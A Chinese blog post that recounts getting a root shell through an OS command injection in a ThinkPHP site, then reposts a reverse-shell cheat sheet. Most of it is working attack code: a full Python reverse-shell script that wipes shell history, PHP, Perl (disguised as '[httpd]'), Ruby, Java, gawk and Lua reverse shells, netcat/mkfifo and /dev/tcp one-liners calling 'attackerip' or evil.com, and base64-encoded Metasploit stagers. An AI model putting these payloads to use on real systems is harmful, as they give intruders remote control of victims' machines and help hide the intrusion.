從一次滲透談到linux如何反彈shell

背景:

ThinkPHP框架的-->

找到一個OS命令注入(很簡單的Burp可以直接掃出來的那種):頁面配置系統默認網關處。

一、滲透過程

1、首先看了一下,沒有回顯。

2、用ceye.io看DNSlog發現不能連接外網。

3、內網ping ok!說明可以的,確實命令執行。

4、彈bash 最常見的監聽端nc

1 nc -p 4444 -l -v

二、下面開始彈bash:

1、最常見的bash的

1 bash -i >&  /dev/tcp/a.b.c.d/4444 0>&1
2 #沒成功,嘗試bash -c 執行命令成功了
3 #嘗試wget 訪問我的flask http服務器OK
4 #嘗試編碼發現失敗

2、追問了某大佬考慮<>及其編碼字符被轉移,考慮ssh反向連接或者腳本反向連接。

3、開始搞pl腳本,嘗試多次失敗(後來發現原因:wget從我自己搭建的flaskHTTP服務上面下反向連接腳本的時候保存的文件名不對)

4、搞python的,自己很熟悉。從朋友那裏搞了一個python反向連接彈shell的腳本。通過flask和wget傳到服務器上。

5、加運行權限 執行 getshell root權限

 

6、python腳本代碼公開:

複製代碼
 1 #!/usr/bin/env python
 2 # -*- coding:utf-8 -*-
 3 """
 4 back connect py version,only linux have pty module
 5 code by hero
 6 """
 7 import sys,os,socket,pty
 8 shell = "/bin/sh"
 9 def usage(name):
10     print 'python reverse connector'
11     print 'usage: %s <ip_addr> <port>' % name
12 
13 def main():
14     if len(sys.argv) !=3:
15         usage(sys.argv[0])
16         sys.exit()
17     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
18     try:
19         s.connect((sys.argv[1],int(sys.argv[2])))
20         print 'connect ok'
21     except:
22         print 'connect faild'
23         sys.exit()
24     os.dup2(s.fileno(),0)
25     os.dup2(s.fileno(),1)
26     os.dup2(s.fileno(),2)
27     global shell
28     os.unsetenv("HISTFILE")
29     os.unsetenv("HISTFILESIZE")
30     os.unsetenv("HISTSIZE")
31     os.unsetenv("HISTORY")
32     os.unsetenv("HISTSAVE")
33     os.unsetenv("HISTZONE")
34     os.unsetenv("HISTLOG")
35     os.unsetenv("HISTCMD")
36     os.putenv("HISTFILE",'/dev/null')
37     os.putenv("HISTSIZE",'0')
38     os.putenv("HISTFILESIZE",'0')
39     pty.spawn(shell)
40     s.close()
41 
42 if __name__ == '__main__':
43     main()
複製代碼

 

 三、從這裏開始思考,linux各種反彈shell的做法:

這裏先補充一個windows、linux下都可以反彈shell的php腳本

複製代碼
 1 <?php   
 2 error_reporting (E_ERROR);  
 3 ignore_user_abort(true);  
 4 ini_set('max_execution_time',0);  
 5 $os = substr(PHP_OS,0,3);  
 6 $ipaddr = '174.124.23.5';  
 7 $port = '7788';  
 8 $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));  
 9 $cwd = getcwd();  
10 $msg = php_uname()."\n------------Code by Spider-------------\n";  
11 if($os == 'WIN') {  
12     $env = array('path' => 'c:\\windows\\system32');  
13 } else {  
14     $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');  
15 }  
16  
17 if(function_exists('fsockopen')) {  
18     $sock = fsockopen($ipaddr,$port);  
19     fwrite($sock,$msg);  
20     while ($cmd = fread($sock,1024)) {  
21         if (substr($cmd,0,3) == 'cd ') {  
22             $cwd = trim(substr($cmd,3,-1));  
23             chdir($cwd);  
24             $cwd = getcwd();  
25         }  
26         if (trim(strtolower($cmd)) == 'exit') {  
27             break;  
28         } else {  
29             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);  
30             if (is_resource($process)) {  
31                 fwrite($pipes[0],$cmd);  
32                 fclose($pipes[0]);  
33                 $msg = stream_get_contents($pipes[1]);  
34                 fwrite($sock,$msg);  
35                 fclose($pipes[1]);  
36                 $msg = stream_get_contents($pipes[2]);  
37                 fwrite($sock,$msg);  
38                 fclose($pipes[2]);  
39                 proc_close($process);  
40             }  
41         }  
42     }  
43     fclose($sock);  
44 } else {  
45     $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);  
46     socket_connect($sock,$ipaddr,$port);  
47     socket_write($sock,$msg);  
48     fwrite($sock,$msg);  
49     while ($cmd = socket_read($sock,1024)) {  
50         if (substr($cmd,0,3) == 'cd ') {  
51             $cwd = trim(substr($cmd,3,-1));  
52             chdir($cwd);  
53             $cwd = getcwd();  
54         }  
55         if (trim(strtolower($cmd)) == 'exit') {  
56             break;  
57         } else {  
58             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);  
59             if (is_resource($process)) {  
60                 fwrite($pipes[0],$cmd);  
61                 fclose($pipes[0]);  
62                 $msg = stream_get_contents($pipes[1]);  
63                 socket_write($sock,$msg,strlen($msg));  
64                 fclose($pipes[1]);  
65                 $msg = stream_get_contents($pipes[2]);  
66                 socket_write($sock,$msg,strlen($msg));  
67                 fclose($pipes[2]);  
68                 proc_close($process);  
69             }  
70         }  
71     }  
72     socket_close($sock);  
73 }  
74 ?> 
複製代碼

 

下文引自:

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

[前言:在烏雲社區看到反彈shell的幾種姿勢,看過之餘自己還收集了一些,動手試了下,僅供參考]

0x01 Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
這裏shell由bash解析,有時候是由sh解析,不一定百發百中
***在虛擬機裏面試過可行,替換成自己的地址和端口即可***
***/dev/[tcp|upd]/host/port是Linux設備裏面比較特殊的文件,讀取或寫入相當於建立socket調用***
***由於其特殊性,命令執行後依舊無法找到/dev/tcp目錄更不要說下面的文件了***
***注意,這裏"&"在Linux shell中表示後臺運行,當然這裏0>&1不是這樣,對於&1更準確的說應該是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用於重定向,2>表示錯誤重定向,&1表示標準輸出;以ls >/dev/null 2>&1爲例,2>&1是將標準出錯重定向到標準輸出,不過在這裏又被重定向到了/dev/null這個無底洞裏***
***這裏有一個問題:爲什麼2>&1要寫在後面,以command >file 2>&1爲例,首先是command > file將標準輸出重定向到file中, 2>&1 是標準錯誤拷貝了標準輸出的行爲,也就是同樣被重定向到file中,最終結果就是標準輸出和錯誤都被重定向到file中***
***其實還有一個問題,既然2>表示錯誤重定向,那麼0>表示什麼呢?查閱資料發現在Linux下輸入輸出重定向有三個值,其中2已經說過是標準錯誤信息輸出,那0則是標準輸入,1則爲標準輸出了。說到這裏,其實又引出了一個新的問題,我們知道<纔是表示輸入的,那爲何這裏卻是如此形式,按說就應該是2了,或者說這裏0就已經是輸入了,然後直接使用>進行輸出,不是很清楚請大牛指點啊***

gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上還有一種不同的方法,評論中也有一些想法:
###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done
***這條語句證實可行,這裏exec命令可以用來替代當前shell;換句話說,並沒有啓動子shell,使用這一條命令時任何現有環境變量將會被清除,並重新啓動一個shell***
***exec的man手冊如是說:The exec() family of functions replaces the current process image with a new process image***
***在查exec時發現一個好玩的語句:

  exec 3<>/dev/tcp/www.google.com/80
  echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
  cat <&3

這個語句的作用,應該一看就明瞭了,不多說,言歸正傳,nc監聽,使用exec反彈的shell其輸出只能在目標機器上看到,有圖爲證***


另外還可以是:
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
/bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1
***在測試exec /bin/bash 0&0 2>&0語句時,遇到一個問題,終端顯示No such file or directory或者乾脆找不到命令,怎麼讓它實現還有待研究***
***研究表明,exec 2>&0即可,不需要/bin/bash,然後跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地監聽反彈成功***

0x02 Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

***使用這條命令,唯一的不同是提示符變成了sh-4.1#,實現原理和前面的bash差不多,Perl還是很強大的***

 

不依賴於/bin/sh的shell: ***這條語句比上面的更爲簡短,而且確實不需要依賴/bin/sh***

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

系統運行windows時:***突然發現windows上暫時沒裝Perl,下次測吧***

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

再給出一個完整的Perl的反彈腳本:

複製代碼
複製代碼
 1 #!/usr/bin/perl -w
 2 # perl-reverse-shell - A Reverse Shell implementation in PERL
3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these. 10 my $ip = '127.0.0.1'; 11 my $port = 1234; 12 13 # Options 14 my $daemon = 1; 15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell 17 my $authorised_client_pattern = qr(^127\.0\.0\.1$); 18 19 # Declarations 20 my $global_page = ""; 21 my $fake_process_name = "/usr/sbin/apache"; 22 23 # Change the process name to be less conspicious 24 $0 = "[httpd]"; 25 26 # Authenticate based on source IP address if required 27 if (defined($ENV{'REMOTE_ADDR'})) { 28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); 29 30 if ($auth) { 31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { 32 cgiprint("ERROR: Your client isn't authorised to view this page"); 33 cgiexit(); 34 } 35 } 36 } elsif ($auth) { 37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); 38 cgiexit(0); 39 } 40 41 # Background and dissociate from parent process if required 42 if ($daemon) { 43 my $pid = fork(); 44 if ($pid) { 45 cgiexit(0); # parent exits 46 } 47 48 setsid(); 49 chdir('/'); 50 umask(0); 51 } 52 53 # Make TCP connection for reverse shell 54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); 55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { 56 cgiprint("Sent reverse shell to $ip:$port"); 57 cgiprintpage(); 58 } else { 59 cgiprint("Couldn't open reverse shell to $ip:$port: $!"); 60 cgiexit(); 61 } 62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection 64 open(STDIN, ">&SOCK"); 65 open(STDOUT,">&SOCK"); 66 open(STDERR,">&SOCK"); 67 $ENV{'HISTFILE'} = '/dev/null'; 68 system("w;uname -a;id;pwd"); 69 exec({"/bin/sh"} ($fake_process_name, "-i")); 70 71 # Wrapper around print 72 sub cgiprint { 73 my $line = shift; 74 $line .= "<p>\n"; 75 $global_page .= $line; 76 } 77 78 # Wrapper around exit 79 sub cgiexit { 80 cgiprintpage(); 81 exit 0; # 0 to ensure we don't give a 500 response. 82 } 83 84 # Form HTTP response using all the messages gathered by cgiprint so far 85 sub cgiprintpage { 86 print "Content-Length: " . length($global_page) . "\r 87 Connection: close\r 88 Content-Type: text\/html\r\n\r\n" . $global_page; 89 }
複製代碼
複製代碼

 

0x03 Python #測試環境爲Linux Python2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

***同樣是sh-4.1#,Python真心好***

 

另外的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]還有其他可行的代碼

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代碼:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

 base64解碼:

複製代碼
複製代碼
import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})
複製代碼
複製代碼

 

0x04 PHP #代碼假設TCP連接的文件描述符爲3,如果不行可以試下4,5,6

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]爲一個上傳的完整php反彈shell腳本    ***php這個也相當簡單***

 

0x05 Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依賴於/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目標系統運行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

當然還有我們很熟悉的MSF模塊裏面也是有反彈shell的:

複製代碼
複製代碼
#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Set the Remote Host IP
RHOST = "192.168.1.10" 
#Set the Remote Host Port
PORT = "6667"

#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
  sleep 20
  retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
  while line = sock.gets
    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
              IO.copy_stream(stdout_and_stderr, sock)
              end  
  end
rescue
  retry
end 
複製代碼
複製代碼

 

0x06 NetCat

nc -e /bin/sh 10.0.0.1 1234  #不同版本的nc不一定支持-e選項

不能使用-e選項時:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安裝的NC版本有問題時:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

 

0x07 Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

msf使用爲:use payload/java/shell/reverse_tcp

再見一段長代碼:

複製代碼
複製代碼
import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet;

public class poc extends Applet{
    /**
     * Author: daniel baier alias duddits
     * Licens: GPL
     * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
     * Version: 0.1 alpha release
     */

    public String cd(String start, File currentDir) {
        File fullPath = new File(currentDir.getAbsolutePath());
        String sparent = fullPath.getAbsoluteFile().toString();
        return sparent + "/" + start;

        }

    @SuppressWarnings("unchecked")
    public void init() {
        poc rs = new poc();
        PrintWriter out;
        try {
            Socket clientSocket = new Socket("192.168.5.222",10003);
            out = new PrintWriter(clientSocket.getOutputStream(), true);
            out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
            boolean run = true;
            String s;
            BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
            String startort = "/";
            while (run) {
                String z1;
                File f = new File(startort);
                out.println(f.getAbsolutePath() + "> ");
                s = br.readLine();
                z1 = s;
                Pattern pcd = Pattern.compile("^cd\\s");
                Matcher mcd = pcd.matcher(z1);
                String[] teile1 = pcd.split(z1);
                if (s.equals("exit")) {
                    run = false;
                }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

                } else if(mcd.find()){
                    try {
                        String cds = rs.cd(teile1[1], new File(startort));
                        startort = cds;
                        } catch (Exception verz) {
                        out.println("Path " + teile1[1]
                        + " not found.");
                        }

                }else {

                    String z2;


                    z2 = s;
                    Pattern pstring = Pattern.compile("\\s");
                    String[] plist = pstring.split(z2);

                    try {

                        LinkedList slist = new LinkedList();
                        for (int i = 0; i < plist.length; i++) {
                            slist.add(plist[i]);
                        }

                        ProcessBuilder builder = new ProcessBuilder(slist);
                        builder.directory(new File(startort));
                        Process p = builder.start();
                        Scanner se = new Scanner(p.getInputStream());
                        if (!se.hasNext()) {
                            Scanner sa = new Scanner(p.getErrorStream());
                            while (sa.hasNext()) {
                                out.println(sa.nextLine());
                            }
                        }
                        while (se.hasNext()) {
                            out.println(se.nextLine());
                        }


                    } catch (Exception err) {
                        out.println(f.getAbsolutePath() + "> Command "
                                + s + " failed!");
                        out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                    }

                }
            }

            if(!clientSocket.isConnected()){
                run = false;
                out.flush();
                out.close();
            }

        } catch (Exception io) {
            //System.err.println("Connection refused by peer");
        }

    }

}
複製代碼
複製代碼

 

0x08 Telnet  #nc不可用或/dev/tcp不可用時

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

 ***這裏mknod是創建特殊文件-設備文件***

0x09 Xterm

首先開啓Xserver:  # TCP 6001

Xnest :1               # Note: The command starts with uppercase X

授予目標機連回來的權限:

xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server

如果想讓任何人都連上:

xhost +                     # Run this INSIDE the spawned xterm on the open X Server

假設xterm已安裝,連回你的Xserver:

xterm -display attackerip:1

或者:

$ DISPLAY=attackerip:0 xterm

 

0x10 gawk

複製代碼
複製代碼
#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
複製代碼
複製代碼

 

0x11 烏雲上一個lua實現

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

***lua之前是真沒見過,發現機器竟然一時裝不上,唉,留着以後玩吧***

msf反彈:use payload/cmd/unix/reverse_lua

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章